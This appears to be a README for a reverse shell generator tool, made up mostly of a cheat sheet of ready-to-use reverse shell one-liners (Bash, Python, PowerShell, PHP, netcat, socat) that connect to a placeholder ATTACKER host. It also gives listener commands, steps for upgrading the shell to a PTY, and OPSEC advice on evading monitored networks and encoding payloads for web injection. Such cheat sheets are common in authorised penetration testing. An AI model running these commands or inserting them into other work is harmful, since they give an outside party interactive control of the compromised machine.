aeondave/revshells

RevShells

Reverse shell one-liner generator — 50+ shells, encoded variants, web UI at revshells.com.

Quick Start

# Web UI: https://revshells.com
# Enter: IP, Port, Shell type → Copy one-liner

Popular one-liners (substitute IP/PORT)

Shell Cheatsheet

# Bash
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# PHP
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat (depends on -e support)
nc -e /bin/sh ATTACKER PORT

# Socat
socat tcp:ATTACKER:PORT exec:'/bin/bash',pty,stderr,setsid,sigint,sane

Listener-first workflow

# Start listener before payload execution
nc -lvnp PORT
# or
ncat -lvnp PORT

Upgrade Shell to PTY

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm

OPSEC / Reliability Notes

• Prefer payloads matching actual runtime on target (bash/python/powershell).
• Use encoded output only when context requires it (web injection, quote escaping).
• Prefer TLS-capable approaches in monitored networks.
• Avoid assuming netcat -e exists; keep fallback payloads ready.

Resources

| File | When to load | |------|--------------| | references/listeners-and-pty-upgrades.md | Listener setup, payload selection matrix, PTY stabilization and encoding strategy |